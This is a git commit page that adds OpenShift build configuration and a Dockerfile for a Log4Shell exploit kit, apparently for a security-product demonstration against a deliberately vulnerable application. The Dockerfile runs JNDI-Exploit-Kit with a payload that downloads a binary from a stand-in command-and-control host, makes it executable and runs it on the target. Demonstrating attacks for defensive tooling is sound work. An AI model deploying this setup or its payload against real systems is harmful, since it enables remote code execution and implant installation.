Browse Source

build exploitkit

main
Nicolas Massé 4 years ago
parent
commit
5dcb669b9c
  1. 9
      cicd/01-imagestream.yaml
  2. 29
      cicd/02-buildconfig.yaml
  3. 4
      exploit/Dockerfile

9
cicd/01-imagestream.yaml

@ -6,3 +6,12 @@ metadata:
name: vulnerable-log4j name: vulnerable-log4j
namespace: vulnerable-cicd namespace: vulnerable-cicd
spec: spec:
---
kind: ImageStream
apiVersion: image.openshift.io/v1
metadata:
annotations:
openshift.io/display-name: Exploit for log4j
name: exploitkit-log4j
namespace: vulnerable-cicd
spec:

29
cicd/02-buildconfig.yaml

@ -26,3 +26,32 @@ spec:
imageChange: {} imageChange: {}
- type: ConfigChange - type: ConfigChange
runPolicy: Serial runPolicy: Serial
---
kind: BuildConfig
apiVersion: build.openshift.io/v1
metadata:
name: exploitkit-log4j
namespace: vulnerable-cicd
spec:
output:
to:
kind: ImageStreamTag
name: 'exploitkit-log4j:latest'
strategy:
type: Docker
dockerStrategy:
from:
kind: ImageStreamTag
namespace: openshift
name: 'java:11'
source:
type: Git
git:
uri: 'https://github.com/nmasse-itix/demo-rhacs.git'
ref: main
contextDir: exploit
triggers:
- type: ImageChange
imageChange: {}
- type: ConfigChange
runPolicy: Serial

4
exploit/Dockerfile

@ -0,0 +1,4 @@
FROM docker.io/library/openjdk:11
RUN curl -Lo /JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar https://github.com/pimps/JNDI-Exploit-Kit/raw/master/target/JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar
CMD [ "java", "-jar", "/JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar", "-C", "curl -o /tmp/agent.bin https://c2-server.attacker/agent.bin ; chmod 755 /tmp/agent.bin ; /tmp/agent.bin", "-J", "jndi-exploit-kit.exploitkit-log4.svc:8080", "-L", "jndi-exploit-kit.exploitkit-log4.svc:1389", "-R", "jndi-exploit-kit.exploitkit-log4.svc:1099" ]
Loading…
Cancel
Save